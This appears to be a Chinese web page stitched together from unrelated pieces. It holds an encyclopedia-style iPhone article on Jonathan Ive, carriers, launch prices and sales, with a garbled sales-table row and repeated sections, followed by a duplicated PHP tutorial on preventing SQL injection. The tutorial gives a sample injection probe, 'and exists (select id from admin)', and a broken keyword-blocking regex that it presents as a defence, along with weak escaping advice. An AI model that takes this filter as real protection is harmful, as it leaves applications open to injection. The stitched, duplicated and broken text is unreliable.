4目前的每周销售数字,全年销售业绩超过Android的可能性很小。

编辑本段设计师

  Jonathan Ive是一位极富才华的MAC设计师,他曾参与设计了iPod,iMac,iPhone,iPad等众多苹果产品。   除了 Jobs,他是对苹果那些 著名的炫目而令人惊喜的产品最有影响力的人。Ive 更愿意谈论设计流程(process)—— 他称之为“设计工艺”(the craft of design)。他满怀激情地谈论他的小团队以及他们如何共同工作。他谈到只将注意力集中在最重要的事情上和限制项目的数量,还谈到对一个产品如何被制造出来应该有深刻的理解:使用的原材质、制作加工时使用的工具、产品设计的用意。Ive 强调的更多是对工作极度关心的必要性。

简短经历

  ·1967年出生于英国,在纽卡斯尔综合性工程技术学院(Newcastle Polytechnic)学习工业设计;   ·1992年加入苹果,是iPod和iMac的设计者。现在,他已经是苹果工业设计部门的副总监;   ·2003年,他被伦敦设计博物馆评选为年度最佳设计师,同时还保持着皇家人文学会(Royal Society of Arts)的皇家工业设计师( Royal Designer for Industry )称号;   ·2006年,苹果公司首席设计师Jonathan Ive在伦敦接受了英国女王的册封,获颁大英帝国司令勋章CBE(Commander of the Order of the British Empire,CBE);   设计作品包括:iPod、iMac、Mac mini以及今天的iPhone。当然确切点说是他带领的团队

设计思想

  Jonathan Ive指出好的设计是由三个要素组成。    第一要素是用途。产品用来做什么?它是否如预期般发挥效用?   第二个要素是外观。产品外观决定它给人的感受,必须拥有它的原因、以及它的价格。   第三个也是最重要的要素,则是它的诉求。产品的特色是什么?您对它的感觉如何您可以试想一下关车门的声音和感觉,有些车子就是会让人感到比较放心和可靠,但这一点不一定与车辆的基本工程结构有关。 

部分运营iPhone的通信商

  

iphone的通信商 AT&T Mobility、Verizon
O2

T-Mobile

Orange、SFR、Bouygues
Vodafone
Optus
3(和记电讯国际)、数码通(VODAFONE沃达丰)
中国联通

中华电信

编辑本段上市时间

  

2007年6月29日18:00iPhone 2G在美国上市,4GB版售价(根据各国家与地区的情况,必需要与运营商签订一到两年的话费合约,才能购买IPHONE,也可以视之为存话费购机)为499美元,8GB售价为599美元。9月5日苹果宣布减价,苹果公司美国线上商店4GB版停产,8GB售399美元。9月6日,乔布斯在公司网站上刊登一封致全体iPhone用户的公开信,对降价一事表示歉意,并承诺对老用户作出补偿。

  2008年2月4日,苹果公司推出16G版iPhone,售价499美元。

  2008年7月11日,苹果公司推出3G iPhone。8GB版售价为199美元,16GB版售价为299美元。ios

  2x版正式提供全球语言。

  2009年6月9日,苹果公司推出iPhone 3GS。并于2009年6月19日正式上市。其中用户在与运营商AT&T签约两年的情况下,iPhone 3GS 16GB/32GB的签约价格分别为199美元和299美元,对于美国用户来说比较划算。而零售版的价格偏高,分别达到了599美元和699美元,折合人民币最低也要4090元左右。

  为了给iPhone 3G S让路,第二代iPhone 3G也在近期开展了降价活动。其中AT&T给出的iPhone 3G 16GB版本的签约价仅为99美元,折合人民币676元左右,但零售版依旧有些昂贵,达到了499美元;而16GB版本的签约价也降到了149美元,折合人民币1017元左右。

  在北京时间2009年6月9日凌晨2:48分,在美国旧金山Moscone West会议中心举行的WWDC2009(苹果全球开发者大会)上,苹果公司发布了iPhone第三代产品iPhone 3GS。作为iPhone 3G的提升,3GS中的S,代表了SPEED,意味着升级版的iPhone将搭载更加合理的配置,拥有更快的运行处理速度和3G网络载入速度,为人们的精彩生活带来SPEED的提升 。

  iPhone支持四频GSM、EDGE、802.11b/g Wi-Fi和Bluetooth 2.0 EDR无线技术。

  iPhone需要带有USB 2.0端口、Mac OSX v10.4.8或更高版本以及iTunes 7的Mac电脑;或带有USB 2.0端口和Windows 2000(Service Pack 4)、Windows XP家庭版或专业版(Service Pack 2)的Windows PC。需要因特网访问,建议使用宽带连接。苹果公司和Cingular将在6月份开始发售之前宣布iPhone的服务计划。

  2009年10月1日,中国联通官方开放了中国大陆地区预定iPhone的网页,预定业务在当月25日截止,当月30日下午17时开始在北京世贸天阶举行中国大陆首发仪式。首批联通版iPhone不支持wifi功能,但联通表示有可能在之后的版本中增加此功能。首发的iPhone只面向签约用户,最低6999元可以得到一部iPhone手机。

  2010年6月8日凌晨1点,苹果全球开发者大会(WWDC 10)在旧金山Moscone West会展中心正式开幕。苹果CEO史蒂夫·乔布斯在会场山发布了全新的iPhone第四代手机,型号为iPhone 4。2011年1月12日,Verizon召开发布会,宣布与苹果合作并与2月推出CDMA版iPhone 4。

  自CDMA版iPhone 4由美国最大电信运营商Verizon在美发布以来,关于中国电信引进iPhone 4的消息就不绝于耳:广东电信内部人士透露,电信已经攻克了CDMA版iPhone 4破解写码(俗称烧号)的最后技术难关,“实现完美破解”,而北京今年6月份将提供CDMA版iPhone 4写码服务,相关技术设备和人员都在准备当中,相信不久就可实现烧号梦想。.

  白色版本的iPhone4从2011年4月28日开始在包括中国在内的多个国家和地区公开销售,人们可以从苹果中国在线商店、苹果零售店以及部分苹果授权经销商处购买白色iPhone4机型。16GB机型的建议零售价为人民币4999元、32GB机型为人民币5999元。

编辑本段销量数据

每季度销量数据

  从2007年至今iphone的销量,苹果iphone的销量惊人。

  

财政年度 Q1 Q2 Q3 Q4 总销量
2007 270,000 1,119,000 1,389,000
2008 2,315,000 1,703,000 717,000 6,890,000 11,625,000
2009 4,363,000 3,793,000 5,208,000 7,367,000 20,731,000
2010 8,737,000 8,752,000 8,398,000 14,102,000 39,989,000
财政年 Q1 Q2 Q3 Q4 73,736,000

iphone4销售调查结果

  蒙斯特及其团队在iPhone首发日(上周四)所做的调查,得出的结果要有价值得多。他们在位于旧金山、 明尼阿波利斯和纽约的苹果专卖店,用问卷调查的方式,采访了608位iPhone 4买家。过去三年里,三代iPhone首发时,他们也都问了同样的问题。

  

全球iPhone季度销售量(以百万计)

他们的主要调查结果如下:

  

77%的购买者 都拥有老版iPhone,相比之下,在2009年,这一比例仅为56%,而在2008年,这一比例更是只有38%。上周,摩根士丹利(Morgan Stanley)分析师凯蒂?休伯蒂(Katy Huberty)就曾预计,约有一半的iPhone玩家,会选择升级到iPhone 4。
16%的购买者 是从别的运营商,转网到美国电话电报公司(AT&T)。而在去年,此比例高达28%。
54%的购买者 购买了容量较大的iPhone 4(32GB),在去年,这一比例仅为43%。
28%的购买者 已经拥有了iPad
72%的购买者 尚未购买iPad,不过,他们当中有39%的人表示,可能在未来一年内入手iPad

最新业绩销售

  据国外媒体报道,谷歌昨天公布,每天有16万台Android设备被激活,粗略计算,在iPhone 4发售后的22天里,已经售出350万台Android 手机,而据苹果CEO史蒂夫-乔布斯(Steve Jobs)周五透露,iPhone 4发售后22天的总销量仅为300万台。这意味着Android手机的销售要比iPhone 4高。

  不过目前苹果并未公布iPhone 3GS的销量,因此iPhone系列手机的总销量目前仍不清楚。苹果目前仅在其销售五个最大的市场发售iPhone 4手机,而在未来5个月,iPhone 4将登陆更多市场。

  但是,对于苹果来说,需求方面也出现了一些问题。在iPhone 4上市的前几天,苹果在美国售出170万台,随后的19天里,苹果仅售出130万台,而且后面这个数字包括了在英国、法国、德国和日本的销售数字。这意味着,在这19天里,苹果iPhone 4每日销量大约为7万台,不足目前Android设备激活率的一半。

  究其原因,其中之一是iPhone 4的供应存在限制。目前iPhone 3GS已在大部分国家和地区发售,但iPhone 4仅限于部分国家,而且开售只有3周时间,另外白色版iPhone 4也要到这个月月底才开始上市。

  在移动操作系统方面,苹果的iOS应用于iPod、iPad和iPhone上,而Android目前仍大部分存在于手机市场,因此在综合性上iOS似乎要领先于Android。另外,Android是利用对设备访问互联网而统计激活率的,因此其他非手机设备也可能被计算在统计数字内,因此这一数字可能与实际手机销售存在偏差。

  但是,在手机方面,谷歌目前似乎已经稍占上风了。按照iPhone 4目前的每周销售数字,全年销售业绩超过Android的可能性很小。

 

设计师

  Jonathan Ive是一位极富才华的MAC设计师,他曾参与设计了iPod,iMac,iPhone,iPad等众多苹果产品。

  除了 Jobs,他是对苹果那些 著名的炫目而令人惊喜的产品最有影响力的人。Ive 更愿意谈论设计流程(process)—— 他称之为“设计工艺”(the craft of design)。他满怀激情地谈论他的小团队以及他们如何共同工作。他谈到只将注意力集中在最重要的事情上和限制项目的数量,还谈到对一个产品如何被制造出来应该有深刻的理解:使用的原材质、制作加工时使用的工具、产品设计的用意。Ive 强调的更多是对工作极度关心的必要性。

简短经历

  ·1967年出生于英国,在纽卡斯尔综合性工程技术学院(Newcastle Polytechnic)学习工业设计;

  ·1992年加入苹果,是iPod和iMac的设计者。现在,他已经是苹果工业设计部门的副总监;

  ·2003年,他被伦敦设计博物馆评选为年度最佳设计师,同时还保持着皇家人文学会(Royal Society of Arts)的皇家工业设计师( Royal Designer for Industry )称号;

  ·2006年,苹果公司首席设计师Jonathan Ive在伦敦接受了英国女王的册封,获颁大英帝国司令勋章CBE(Commander of the Order of the British Empire,CBE);

  设计作品包括:iPod、iMac、Mac mini以及今天的iPhone。当然确切点说是他带领的团队

设计思想

  Jonathan Ive指出好的设计是由三个要素组成。  产品用来做什么?它是否如预期般发挥效用? 产品外观决定它给人的感受,必须拥有它的原因、以及它的价格。 产品的特色是什么?您对它的感觉如何您可以试想一下关车门的声音和感觉,有些车子就是会让人感到比较放心和可靠,但这一点不一定与车辆的基本工程结构有关。

  第一要素是用途。

 

  第二个要素是外观。

 

  第三个也是最重要的要素,则是它的诉求。

php防止sql注入

  程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对
用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据
库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的
SQL Injection,即SQL注入。 受影响的系统:对输入的参数不进行检查和过滤的系统
SQL注入过程
正常来讲,我们通过地址接收一些必要的参数如:

hello.php?id=2  页面中我们会使用  2 写入到SQL语句中

正常情况:Select * From Table where id=2

如果我们对SQL语句熟悉,就知道2 我们可以替换成我们需要的SQL语句

如:and exists (select id from admin)
2、防止注入的几种办法
其实原来就是我们需要过滤一些我们常见的关键字和符合如:

Select,insert,update,delete,and,*,等等
例子:

Php代码 复制代码 收藏代码
  • function inject_check($sql_str) {   
  •    return eregi(‘select|insert|update|delete|’|/*|*|../|./|union|into|load_file   
  • |outfile’, $sql_str);     // 进行过滤   
  • }  
  • function inject_check($sql_str) {
       return eregi('select|insert|update|delete|'|/*|*|../|./|union|into|load_file
    |outfile', $sql_str);     // 进行过滤
    }

    或者是通过系统函数间的过滤特殊符号

    Addslashes(需要被过滤的内容)
    3、PHP其他地方安全设置
        1、register_globals = Off   设置为关闭状态
        2、SQL语句书写时尽量不要省略小引号和单引号
    Select * From Table Where id=2       (不规范)
    Select * From ·Table· Where ·id·=’2’       (规范)
    3、正确的使用 $_POST $_GET $_SESSION 等接受参数,并加以过滤
    4、提高数据库命名技巧,对于一些重要的字段可根据程序特点命名
    5、对于常用方法加以封装,避免直接暴露SQL语句

      程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对
    用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据
    库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的
    SQL Injection,即SQL注入。 受影响的系统:对输入的参数不进行检查和过滤的系统
    SQL注入过程
    正常来讲,我们通过地址接收一些必要的参数如:

    hello.php?id=2  页面中我们会使用  2 写入到SQL语句中

    正常情况:Select * From Table where id=2

    如果我们对SQL语句熟悉,就知道2 我们可以替换成我们需要的SQL语句

    如:and exists (select id from admin)
    2、防止注入的几种办法
    其实原来就是我们需要过滤一些我们常见的关键字和符合如:

    Select,insert,update,delete,and,*,等等
    例子:

    Php代码 复制代码 收藏代码
    1. function inject_check($sql_str) {   
    2.    return eregi(‘select|insert|update|delete|’|/*|*|../|./|union|into|load_file   
    3. |outfile’, $sql_str);     // 进行过滤   
    4. }  

    或者是通过系统函数间的过滤特殊符号

    Addslashes(需要被过滤的内容)
    3、PHP其他地方安全设置
        1、register_globals = Off   设置为关闭状态
        2、SQL语句书写时尽量不要省略小引号和单引号
    Select * From Table Where id=2       (不规范)
    Select * From ·Table· Where ·id·=’2’       (规范)
    3、正确的使用 $_POST $_GET $_SESSION 等接受参数,并加以过滤
    4、提高数据库命名技巧,对于一些重要的字段可根据程序特点命名
    5、对于常用方法加以封装,避免直接暴露SQL语句